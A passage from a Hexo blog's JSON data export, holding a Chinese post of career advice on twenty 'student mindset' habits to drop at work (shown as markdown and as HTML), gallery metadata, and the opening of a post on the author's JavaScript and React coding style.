过于放大自己的价值\n\n自信心不强经常遇到，但还有另一种极端的情况，就是过于放大自己的价值。在一个新组织里，既有自己的努力，又有组织提供的机会。我们常常说要从小事做起，其实就是在积攒人品，让别人逐步信任你。其实我们往往没有想象中那么重要，只是大家积累起来的信任链条。\b\n> 不吭不卑才是合适的作风。\n\n## 6. 懒于改变\n\n很多人习惯了按部就班，习惯了在一条轨道上，有什么想法也只是说说而已，并没有\b勇气去落地执行，只是在等待,这样的人\b则完全没有任何魄力。\n> 只是等待，没有任何结果。\n\n## 7. 给自己画一条线\n\n我是学...的，我是做...的，所以我不能...。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定，大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。\n> 没有那么多鸿沟拦着你，是你自己拦着自己。\n\n## 8. 没有意识到要和优秀的人在一起\n\n读书的时候，好学生和一般的学生，多少会有点距离。在社会里，工作上要去拉近这个距离。时常看看优秀的人在做什么，看到好的点，学习到自己这里，这是好事。\n> \b见贤思齐焉。\n\n## 9. 不知道衡量 10 年总收入\n\n刚入职场，很多学生会比 offer、 收入...等等。不是说不应该在意，而是优先级高的应该是自己的成长值能增加多少，能不能通过自己的努力，把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入，不仅仅是经济，还有能力、资历的，不争一城一地的得失，将重点放到\b经营自己这个产品上来。\n> 投资自己，让自己不断增值，才是正事。\n\n## 10. 小红花意识\n\n人都希望被表扬。有的时候就要忍受阶段性的在角落，\b可能很辛苦，作出了成绩没人认同很委屈，稍微作出了点事就想\b收到认同。其实\b，这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做，做多了，大概率会有好结果，即使不是立刻就有。\n> 自己的行为过于依赖周围人的反应，反而会打乱自己的节奏。\n\n## 11. 连他都可以\n\n在学校里，你成绩可能比人家好，在社会上，可能人家混的比你好。社会和学校有他们自己的规则，\b\b不要在比较重蹉跎。\n> 按照自己的节奏，一步一步让自己变得更好。\n\n## 12. 不会保护自己\n\n这个世界存在坏人，因为利益、嫉妒、扭曲的心理...学校可能环境相对简单，但是工作中，情况就要复杂很多。比如你是医生，就要\b做好医闹的准备。在公司工作，该有的流程，\b\b留下邮件的，都得有。\n\n## 13. 伸手党意识\n\n\b在请他人帮忙处理前，自己先尽力找到处理问题的办法。实在不行再开口，又或者是时间周期短，加急的情况。\n\n## 14. 理性投资消费\n\n常常有人说我穷、没钱。\b大多数人是家境可以，但是该消费的地方不消费，例如：学习和自我提升。不该消费的地方大手笔，例如：电脑要最新，手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇，也体现在如何正确和理性的投资。\n\n## 15. 做为新人不够谦虚\n\n说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺，保持谦虚，是一种态度。\n\n## 16. 认识人多就是资源\n\n所谓人脉，其实不是认识的人越多越好，而是要和事情，和自己能力匹配，大家基于共同的事情，兴趣认识，主要是一起讨论和学习，当然还有认识彼此。\n> 要让这个状态成为自然的结果，而不是刻意为之。\n\n## 17. 缺乏职场必要的沟通\n\n通过书面的、语言的沟通，把自己的观点表达的有条理并且富有\b逻辑，讲明白了事情，但是又不会引起反感，如果身边有这样的人，可以向他们学习学习。\n\n## 18. 锚定在周围\b人身上\n\n在一个行业里，应该去和整个行业最优秀的人做比较，经常跳出来，看看最好的人在做什么，不要把自己局限住，把自己的目标设高点，就算达不到，也要往上\b爬。\n\n## \b19. 缺乏自己判断，容易\b被他人影响\n\n跳出他人的观点，敢于对各种观点\b质疑。取其精华\b\b，抛弃糟蹋。\n\n## 20. 没有能力边界的概念\n\n有时候总是说，凡是\b努力就会成功，如果没有成功，就是努力的还不够。\b但是随着成长，就会发现，有些事情就是自己不擅长做的。就像高中成绩，总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。\n> 聚焦自己能力之内的，不要意想天开，认为自己无所不能。\n","slug":"学生思维","published":1,"updated":"2018-04-10T03:00:22.013Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6q003yvzqhp2sjc406","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"学生思维\"><a href=\"#学生思维\" class=\"headerlink\" title=\"学生思维\"></a>学生思维</h1><h2 id=\"1-认为准备好了再做\"><a href=\"#1-认为准备好了再做\" class=\"headerlink\" title=\"1. 认为准备好了再做\"></a>1. 认为准备好了再做</h2><p>持续认为自己还没准备好，\b遇到新的挑战（机会），本能的觉得自己没学过，回避，很多时候，是你有了责任，有了目标，才会让自己更强大\b，而不是自己强大了再做某事。</p>\n<blockquote>\n<p>永远让事情推自己走，而不是让自己跟着事情走。</p>\n</blockquote>\n<h2 id=\"2-被动接受，而不是主动获取\"><a href=\"#2-被动接受，而不是主动获取\" class=\"headerlink\" title=\"2. 被动接受，而不是主动获取\"></a>2. 被动接受，而不是主动获取</h2><p>习惯老师留作业。但是工作了，很多时候要自己发挥，等着布置作业那是泯然众人的做法。在职场上有突破的，往往都更主动，他们不会\b羞涩于请教，不会因为\b担心麻烦人而影响工作，他们只是在聚焦如何让工作做得更好，所以积极主动。</p>\n<blockquote>\n<p>不要小看主动的力量。</p>\n</blockquote>\n<h2 id=\"3-不愿意面对不可预期的逆境\"><a href=\"#3-不愿意面对不可预期的逆境\" class=\"headerlink\" title=\"3. 不愿意面对不可预期的逆境\"></a>3. 不愿意面对不可预期的逆境</h2><p>很多人习惯了学生时代的感觉，习惯了有确定性的事物，却不知道，工作中有很多不确定性。你总说在面对各种未知的问题，有问题就要解决问题。有些人面对这样的逆境，不够坚韧，总选择逃避，很难承担\b重任，职场发展就会受限。</p>\n<h2 id=\"4-小孩子脾气\"><a href=\"#4-小孩子脾气\" class=\"headerlink\" title=\"4. 小孩子脾气\"></a>4. 小孩子脾气</h2><p>不要把无知当个性，不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心，大家更想\b配合好把事情做完。有个性和脾气不是不可以，但那是建立在自身的本事和成绩上的。</p>\n<blockquote>\n<p>恃才傲物\b还可以接受，没能力还以自我为中心只会被人嫌弃。</p>\n</blockquote>\n<h2 id=\"5-过于放大自己的价值\"><a href=\"#5-过于放大自己的价值\" class=\"headerlink\" title=\"5. 过于放大自己的价值\"></a>5. 过于放大自己的价值</h2><p>自信心不强经常遇到，但还有另一种极端的情况，就是过于放大自己的价值。在一个新组织里，既有自己的努力，又有组织提供的机会。我们常常说要从小事做起，其实就是在积攒人品，让别人逐步信任你。其实我们往往没有想象中那么重要，只是大家积累起来的信任链条。\b</p>\n<blockquote>\n<p>不吭不卑才是合适的作风。</p>\n</blockquote>\n<h2 id=\"6-懒于改变\"><a href=\"#6-懒于改变\" class=\"headerlink\" title=\"6. 懒于改变\"></a>6. 懒于改变</h2><p>很多人习惯了按部就班，习惯了在一条轨道上，有什么想法也只是说说而已，并没有\b勇气去落地执行，只是在等待,这样的人\b则完全没有任何魄力。</p>\n<blockquote>\n<p>只是等待，没有任何结果。</p>\n</blockquote>\n<h2 id=\"7-给自己画一条线\"><a href=\"#7-给自己画一条线\" class=\"headerlink\" title=\"7. 给自己画一条线\"></a>7. 给自己画一条线</h2><p>我是学…的，我是做…的，所以我不能…。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定，大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。</p>\n<blockquote>\n<p>没有那么多鸿沟拦着你，是你自己拦着自己。</p>\n</blockquote>\n<h2 id=\"8-没有意识到要和优秀的人在一起\"><a href=\"#8-没有意识到要和优秀的人在一起\" class=\"headerlink\" title=\"8. 没有意识到要和优秀的人在一起\"></a>8. 没有意识到要和优秀的人在一起</h2><p>读书的时候，好学生和一般的学生，多少会有点距离。在社会里，工作上要去拉近这个距离。时常看看优秀的人在做什么，看到好的点，学习到自己这里，这是好事。</p>\n<blockquote>\n<p>\b见贤思齐焉。</p>\n</blockquote>\n<h2 id=\"9-不知道衡量-10-年总收入\"><a href=\"#9-不知道衡量-10-年总收入\" class=\"headerlink\" title=\"9. 不知道衡量 10 年总收入\"></a>9. 不知道衡量 10 年总收入</h2><p>刚入职场，很多学生会比 offer、 收入…等等。不是说不应该在意，而是优先级高的应该是自己的成长值能增加多少，能不能通过自己的努力，把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入，不仅仅是经济，还有能力、资历的，不争一城一地的得失，将重点放到\b经营自己这个产品上来。</p>\n<blockquote>\n<p>投资自己，让自己不断增值，才是正事。</p>\n</blockquote>\n<h2 id=\"10-小红花意识\"><a href=\"#10-小红花意识\" class=\"headerlink\" title=\"10. 小红花意识\"></a>10. 小红花意识</h2><p>人都希望被表扬。有的时候就要忍受阶段性的在角落，\b可能很辛苦，作出了成绩没人认同很委屈，稍微作出了点事就想\b收到认同。其实\b，这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做，做多了，大概率会有好结果，即使不是立刻就有。</p>\n<blockquote>\n<p>自己的行为过于依赖周围人的反应，反而会打乱自己的节奏。</p>\n</blockquote>\n<h2 id=\"11-连他都可以\"><a href=\"#11-连他都可以\" class=\"headerlink\" title=\"11. 连他都可以\"></a>11. 连他都可以</h2><p>在学校里，你成绩可能比人家好，在社会上，可能人家混的比你好。社会和学校有他们自己的规则，\b\b不要在比较重蹉跎。</p>\n<blockquote>\n<p>按照自己的节奏，一步一步让自己变得更好。</p>\n</blockquote>\n<h2 id=\"12-不会保护自己\"><a href=\"#12-不会保护自己\" class=\"headerlink\" title=\"12. 不会保护自己\"></a>12. 不会保护自己</h2><p>这个世界存在坏人，因为利益、嫉妒、扭曲的心理…学校可能环境相对简单，但是工作中，情况就要复杂很多。比如你是医生，就要\b做好医闹的准备。在公司工作，该有的流程，\b\b留下邮件的，都得有。</p>\n<h2 id=\"13-伸手党意识\"><a href=\"#13-伸手党意识\" class=\"headerlink\" title=\"13. 伸手党意识\"></a>13. 伸手党意识</h2><p>\b在请他人帮忙处理前，自己先尽力找到处理问题的办法。实在不行再开口，又或者是时间周期短，加急的情况。</p>\n<h2 id=\"14-理性投资消费\"><a href=\"#14-理性投资消费\" class=\"headerlink\" title=\"14. 理性投资消费\"></a>14. 理性投资消费</h2><p>常常有人说我穷、没钱。\b大多数人是家境可以，但是该消费的地方不消费，例如：学习和自我提升。不该消费的地方大手笔，例如：电脑要最新，手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇，也体现在如何正确和理性的投资。</p>\n<h2 id=\"15-做为新人不够谦虚\"><a href=\"#15-做为新人不够谦虚\" class=\"headerlink\" title=\"15. 做为新人不够谦虚\"></a>15. 做为新人不够谦虚</h2><p>说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺，保持谦虚，是一种态度。</p>\n<h2 id=\"16-认识人多就是资源\"><a href=\"#16-认识人多就是资源\" class=\"headerlink\" title=\"16. 认识人多就是资源\"></a>16. 认识人多就是资源</h2><p>所谓人脉，其实不是认识的人越多越好，而是要和事情，和自己能力匹配，大家基于共同的事情，兴趣认识，主要是一起讨论和学习，当然还有认识彼此。</p>\n<blockquote>\n<p>要让这个状态成为自然的结果，而不是刻意为之。</p>\n</blockquote>\n<h2 id=\"17-缺乏职场必要的沟通\"><a href=\"#17-缺乏职场必要的沟通\" class=\"headerlink\" title=\"17. 缺乏职场必要的沟通\"></a>17. 缺乏职场必要的沟通</h2><p>通过书面的、语言的沟通，把自己的观点表达的有条理并且富有\b逻辑，讲明白了事情，但是又不会引起反感，如果身边有这样的人，可以向他们学习学习。</p>\n<h2 id=\"18-锚定在周围人身上\"><a href=\"#18-锚定在周围人身上\" class=\"headerlink\" title=\"18. 锚定在周围\b人身上\"></a>18. 锚定在周围\b人身上</h2><p>在一个行业里，应该去和整个行业最优秀的人做比较，经常跳出来，看看最好的人在做什么，不要把自己局限住，把自己的目标设高点，就算达不到，也要往上\b爬。</p>\n<h2 id=\"19-缺乏自己判断，容易被他人影响\"><a href=\"#19-缺乏自己判断，容易被他人影响\" class=\"headerlink\" title=\"\b19. 缺乏自己判断，容易\b被他人影响\"></a>\b19. 缺乏自己判断，容易\b被他人影响</h2><p>跳出他人的观点，敢于对各种观点\b质疑。取其精华\b\b，抛弃糟蹋。</p>\n<h2 id=\"20-没有能力边界的概念\"><a href=\"#20-没有能力边界的概念\" class=\"headerlink\" title=\"20. 没有能力边界的概念\"></a>20. 没有能力边界的概念</h2><p>有时候总是说，凡是\b努力就会成功，如果没有成功，就是努力的还不够。\b但是随着成长，就会发现，有些事情就是自己不擅长做的。就像高中成绩，总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。</p>\n<blockquote>\n<p>聚焦自己能力之内的，不要意想天开，认为自己无所不能。</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"学生思维\"><a href=\"#学生思维\" class=\"headerlink\" title=\"学生思维\"></a>学生思维</h1><h2 id=\"1-认为准备好了再做\"><a href=\"#1-认为准备好了再做\" class=\"headerlink\" title=\"1. 认为准备好了再做\"></a>1. 认为准备好了再做</h2><p>持续认为自己还没准备好，\b遇到新的挑战（机会），本能的觉得自己没学过，回避，很多时候，是你有了责任，有了目标，才会让自己更强大\b，而不是自己强大了再做某事。</p>\n<blockquote>\n<p>永远让事情推自己走，而不是让自己跟着事情走。</p>\n</blockquote>\n<h2 id=\"2-被动接受，而不是主动获取\"><a href=\"#2-被动接受，而不是主动获取\" class=\"headerlink\" title=\"2. 被动接受，而不是主动获取\"></a>2. 被动接受，而不是主动获取</h2><p>习惯老师留作业。但是工作了，很多时候要自己发挥，等着布置作业那是泯然众人的做法。在职场上有突破的，往往都更主动，他们不会\b羞涩于请教，不会因为\b担心麻烦人而影响工作，他们只是在聚焦如何让工作做得更好，所以积极主动。</p>\n<blockquote>\n<p>不要小看主动的力量。</p>\n</blockquote>\n<h2 id=\"3-不愿意面对不可预期的逆境\"><a href=\"#3-不愿意面对不可预期的逆境\" class=\"headerlink\" title=\"3. 不愿意面对不可预期的逆境\"></a>3. 不愿意面对不可预期的逆境</h2><p>很多人习惯了学生时代的感觉，习惯了有确定性的事物，却不知道，工作中有很多不确定性。你总说在面对各种未知的问题，有问题就要解决问题。有些人面对这样的逆境，不够坚韧，总选择逃避，很难承担\b重任，职场发展就会受限。</p>\n<h2 id=\"4-小孩子脾气\"><a href=\"#4-小孩子脾气\" class=\"headerlink\" title=\"4. 小孩子脾气\"></a>4. 小孩子脾气</h2><p>不要把无知当个性，不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心，大家更想\b配合好把事情做完。有个性和脾气不是不可以，但那是建立在自身的本事和成绩上的。</p>\n<blockquote>\n<p>恃才傲物\b还可以接受，没能力还以自我为中心只会被人嫌弃。</p>\n</blockquote>\n<h2 id=\"5-过于放大自己的价值\"><a href=\"#5-过于放大自己的价值\" class=\"headerlink\" title=\"5. 过于放大自己的价值\"></a>5. 过于放大自己的价值</h2><p>自信心不强经常遇到，但还有另一种极端的情况，就是过于放大自己的价值。在一个新组织里，既有自己的努力，又有组织提供的机会。我们常常说要从小事做起，其实就是在积攒人品，让别人逐步信任你。其实我们往往没有想象中那么重要，只是大家积累起来的信任链条。\b</p>\n<blockquote>\n<p>不吭不卑才是合适的作风。</p>\n</blockquote>\n<h2 id=\"6-懒于改变\"><a href=\"#6-懒于改变\" class=\"headerlink\" title=\"6. 懒于改变\"></a>6. 懒于改变</h2><p>很多人习惯了按部就班，习惯了在一条轨道上，有什么想法也只是说说而已，并没有\b勇气去落地执行，只是在等待,这样的人\b则完全没有任何魄力。</p>\n<blockquote>\n<p>只是等待，没有任何结果。</p>\n</blockquote>\n<h2 id=\"7-给自己画一条线\"><a href=\"#7-给自己画一条线\" class=\"headerlink\" title=\"7. 给自己画一条线\"></a>7. 给自己画一条线</h2><p>我是学…的，我是做…的，所以我不能…。往往希望自己\b能从他人那里得到一些肯定。其实如果信心坚定，大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。</p>\n<blockquote>\n<p>没有那么多鸿沟拦着你，是你自己拦着自己。</p>\n</blockquote>\n<h2 id=\"8-没有意识到要和优秀的人在一起\"><a href=\"#8-没有意识到要和优秀的人在一起\" class=\"headerlink\" title=\"8. 没有意识到要和优秀的人在一起\"></a>8. 没有意识到要和优秀的人在一起</h2><p>读书的时候，好学生和一般的学生，多少会有点距离。在社会里，工作上要去拉近这个距离。时常看看优秀的人在做什么，看到好的点，学习到自己这里，这是好事。</p>\n<blockquote>\n<p>\b见贤思齐焉。</p>\n</blockquote>\n<h2 id=\"9-不知道衡量-10-年总收入\"><a href=\"#9-不知道衡量-10-年总收入\" class=\"headerlink\" title=\"9. 不知道衡量 10 年总收入\"></a>9. 不知道衡量 10 年总收入</h2><p>刚入职场，很多学生会比 offer、 收入…等等。不是说不应该在意，而是优先级高的应该是自己的成长值能增加多少，能不能通过自己的努力，把自己作为一个产品给做出来。\b衡量自己未来的 10 年收入，不仅仅是经济，还有能力、资历的，不争一城一地的得失，将重点放到\b经营自己这个产品上来。</p>\n<blockquote>\n<p>投资自己，让自己不断增值，才是正事。</p>\n</blockquote>\n<h2 id=\"10-小红花意识\"><a href=\"#10-小红花意识\" class=\"headerlink\" title=\"10. 小红花意识\"></a>10. 小红花意识</h2><p>人都希望被表扬。有的时候就要忍受阶段性的在角落，\b可能很辛苦，作出了成绩没人认同很委屈，稍微作出了点事就想\b收到认同。其实\b，这往往需要时间\b、需要积累和沉淀。很多事你是在为自己做，做多了，大概率会有好结果，即使不是立刻就有。</p>\n<blockquote>\n<p>自己的行为过于依赖周围人的反应，反而会打乱自己的节奏。</p>\n</blockquote>\n<h2 id=\"11-连他都可以\"><a href=\"#11-连他都可以\" class=\"headerlink\" title=\"11. 连他都可以\"></a>11. 连他都可以</h2><p>在学校里，你成绩可能比人家好，在社会上，可能人家混的比你好。社会和学校有他们自己的规则，\b\b不要在比较重蹉跎。</p>\n<blockquote>\n<p>按照自己的节奏，一步一步让自己变得更好。</p>\n</blockquote>\n<h2 id=\"12-不会保护自己\"><a href=\"#12-不会保护自己\" class=\"headerlink\" title=\"12. 不会保护自己\"></a>12. 不会保护自己</h2><p>这个世界存在坏人，因为利益、嫉妒、扭曲的心理…学校可能环境相对简单，但是工作中，情况就要复杂很多。比如你是医生，就要\b做好医闹的准备。在公司工作，该有的流程，\b\b留下邮件的，都得有。</p>\n<h2 id=\"13-伸手党意识\"><a href=\"#13-伸手党意识\" class=\"headerlink\" title=\"13. 伸手党意识\"></a>13. 伸手党意识</h2><p>\b在请他人帮忙处理前，自己先尽力找到处理问题的办法。实在不行再开口，又或者是时间周期短，加急的情况。</p>\n<h2 id=\"14-理性投资消费\"><a href=\"#14-理性投资消费\" class=\"headerlink\" title=\"14. 理性投资消费\"></a>14. 理性投资消费</h2><p>常常有人说我穷、没钱。\b大多数人是家境可以，但是该消费的地方不消费，例如：学习和自我提升。不该消费的地方大手笔，例如：电脑要最新，手机要最新。更多体现\b的是一种攀比心理。如何领先他人抓住机遇，也体现在如何正确和理性的投资。</p>\n<h2 id=\"15-做为新人不够谦虚\"><a href=\"#15-做为新人不够谦虚\" class=\"headerlink\" title=\"15. 做为新人不够谦虚\"></a>15. 做为新人不够谦虚</h2><p>说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺，保持谦虚，是一种态度。</p>\n<h2 id=\"16-认识人多就是资源\"><a href=\"#16-认识人多就是资源\" class=\"headerlink\" title=\"16. 认识人多就是资源\"></a>16. 认识人多就是资源</h2><p>所谓人脉，其实不是认识的人越多越好，而是要和事情，和自己能力匹配，大家基于共同的事情，兴趣认识，主要是一起讨论和学习，当然还有认识彼此。</p>\n<blockquote>\n<p>要让这个状态成为自然的结果，而不是刻意为之。</p>\n</blockquote>\n<h2 id=\"17-缺乏职场必要的沟通\"><a href=\"#17-缺乏职场必要的沟通\" class=\"headerlink\" title=\"17. 缺乏职场必要的沟通\"></a>17. 缺乏职场必要的沟通</h2><p>通过书面的、语言的沟通，把自己的观点表达的有条理并且富有\b逻辑，讲明白了事情，但是又不会引起反感，如果身边有这样的人，可以向他们学习学习。</p>\n<h2 id=\"18-锚定在周围人身上\"><a href=\"#18-锚定在周围人身上\" class=\"headerlink\" title=\"18. 锚定在周围\b人身上\"></a>18. 锚定在周围\b人身上</h2><p>在一个行业里，应该去和整个行业最优秀的人做比较，经常跳出来，看看最好的人在做什么，不要把自己局限住，把自己的目标设高点，就算达不到，也要往上\b爬。</p>\n<h2 id=\"19-缺乏自己判断，容易被他人影响\"><a href=\"#19-缺乏自己判断，容易被他人影响\" class=\"headerlink\" title=\"\b19. 缺乏自己判断，容易\b被他人影响\"></a>\b19. 缺乏自己判断，容易\b被他人影响</h2><p>跳出他人的观点，敢于对各种观点\b质疑。取其精华\b\b，抛弃糟蹋。</p>\n<h2 id=\"20-没有能力边界的概念\"><a href=\"#20-没有能力边界的概念\" class=\"headerlink\" title=\"20. 没有能力边界的概念\"></a>20. 没有能力边界的概念</h2><p>有时候总是说，凡是\b努力就会成功，如果没有成功，就是努力的还不够。\b但是随着成长，就会发现，有些事情就是自己不擅长做的。就像高中成绩，总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。</p>\n<blockquote>\n<p>聚焦自己能力之内的，不要意想天开，认为自己无所不能。</p>\n</blockquote>\n"},{"title":"我个人的coding风格","date":"2017-11-26T05:46:13.000Z","_content":"\n我一直在探索属于我自己独一无二的代码风格\n\n## 识别度高的 HTML\n\n## 简洁大方的 CSS\n\n## 可维护性强的 js\n\n> 最近在看这本书，书中有很多技巧让我受益颇多\n\n### 基本格式\n\n* 缩进保持 4 个空格\n* if else 语句和上一个 if 语句中间留个空行\n* 注释另起一行\n* 不写分号，保持样式简洁\n* 符号与字符串之间要空行\n* 中文和英文之间用空格拆开\n* 单行代码长度不超过 80 个字符\n* 如果一行代码超过最大限度，换行的给两个默认缩进，增加辨识度\n* 另外，换行缩进不要带符号换行\n* 命名方式：\n        1· 方法函数是驼峰命名\n        2· 构造函数是首字母大写命名\n        3· 常量采取全大写命名\n        4· js 中不要省略小数点前的 0 （css可以）\n* 多次申明 单var\n* if 语句即使再短，也不要写在一行\n* 申明在调用的前面\n* 函数调用，参数要左右空格，以突出参数\n* 立即执行函数若赋值给某个对象，给该函数加一个圆括号\n* 尽量不使用 === 和 != (强转换机制)\n* css 和 JavaScript 的松耦合\n* 避免使用全局变量\n* 组件式开发时，_ 开头为私有方法，监听事件前缀为 handle，事件监听传递时，属性名用 on 开头\n* react组件内容编写顺序：\n        1. static 开头类的属性，eg：defaultProps， propTypes\n        2. 构造函数 constructor\n        3. getter/setter \n        4. 组件生命周期\n        5. _开头的私有方法\n        6. 事件监听方法\n        7. render* 开头的方法\n        8. render\n\n> EXP(以 react 为例):\n``` \n    //组件\n    class Exp extends Component {\n        //初始化\n        static propTypes = {\n            onSubmit: PropTypes.func\n        }\n\n        //构造函数\n        constructor () {\n            super()\n            this.state = {\n                test: '1'\n            }\n        }\n\n        // getter/setter\n        getter() {\n\n        }\n        \n        // 即将挂载\n        componentWillMount () {\n            localStorage.getItem('username')\n        }\n\n        // 已挂载\n        componentDidMount () {\n\n        }\n\n        // 私有方法\n        _selfFunction (username) {\n            localStorage.setItem('username', username)\n        }\n\n        // 监听方法\n        function1 () {\n            //第一个 if 语句\n            if () {\n                var test = 'abc',\n                    first = 1,\n                    //立即执行函数\n                    secound = (function () { return 0}())\n\n                //第二个 if 语句\n                if (allNumber || first || secound || third || monday || sunday || \n                        satarday) {\n                    \n                    //第三个 if 语句\n                    if () {\n                        function act (ppt) {}\n\n                        act( ppt )\n                        }\n                    }\n            } else {\n                \n            }\n        }\n    }\n        \n```","source":"_posts/我个人的coding风格.md","raw":"---\ntitle: 我个人的coding风格\ndate: 2017-11-26 13:46:13\ntags: [CStyle]\ncategories: web前端\n---\n\n我一直在探索属于我自己独一无二的代码风格\n\n## 识别度高的 HTML\n\n## 简洁大方的 CSS\n\n## 可维护性强的 js\n\n> 最近在看这本书，书中有很多技巧让我受益颇多\n\n### 基本格式\n\n* 缩进保持 4 个空格\n* if else 语句和上一个 if 语句中间留个空行\n* 注释另起一行\n* 不写分号，保持样式简洁\n* 符号与字符串之间要空行\n* 中文和英文之间用空格拆开\n* 单行代码长度不超过 80 个字符\n* 如果一行代码超过最大限度，换行的给两个默认缩进，增加辨识度\n* 另外，换行缩进不要带符号换行\n* 命名方式：\n        1· 方法函数是驼峰命名\n        2· 构造函数是首字母大写命名\n        3· 常量采取全大写命名\n        4· js 中不要省略小数点前的 0 